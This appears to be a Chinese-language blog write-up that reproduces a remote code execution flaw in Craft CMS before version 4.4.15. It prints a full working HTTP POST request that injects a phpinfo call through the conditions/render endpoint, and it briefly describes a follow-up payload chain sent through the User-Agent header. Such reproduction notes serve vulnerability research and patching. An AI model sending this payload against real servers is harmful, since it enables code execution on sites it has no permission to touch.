前言
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
一、漏洞情况分析
Craft CMS是美国Pixel&tonic公司的一套内容管理系统(CMS)。一个开源的内容管理系统,它专注于用户友好的内容创建过程,逻辑清晰明了,是一个高度自由,高度自定义设计的平台吗,可以用来创建个人或企业网站也可以搭建企业级电子商务系统。
Pixel&tonic Craft CMS 4.4.15之前版本存在代码注入漏洞,该漏洞源于存在远程代码执行漏洞。
Craft CMS 是一个用于创建数字体验的平台。这是一种高影响力、低复杂性的攻击媒介。建议运行 4.4.15 之前的 Craft 安装的用户至少更新到该版本以缓解该问题。此问题已在 Craft CMS 4.4.15 中修复
二、漏洞复现
POST请求, phpinfo注入命令
POST /index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 238
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()": [{"close":null}],"_fn_close":"phpinfo"}}
后续的构造有点难这里就不演示了。User-Agent头传参防止被编码,第一次请求写入,第二次请求包含。不过第一次传错了,ta就会一直报错。要到第二天才能重新传。
后语
升级版本即可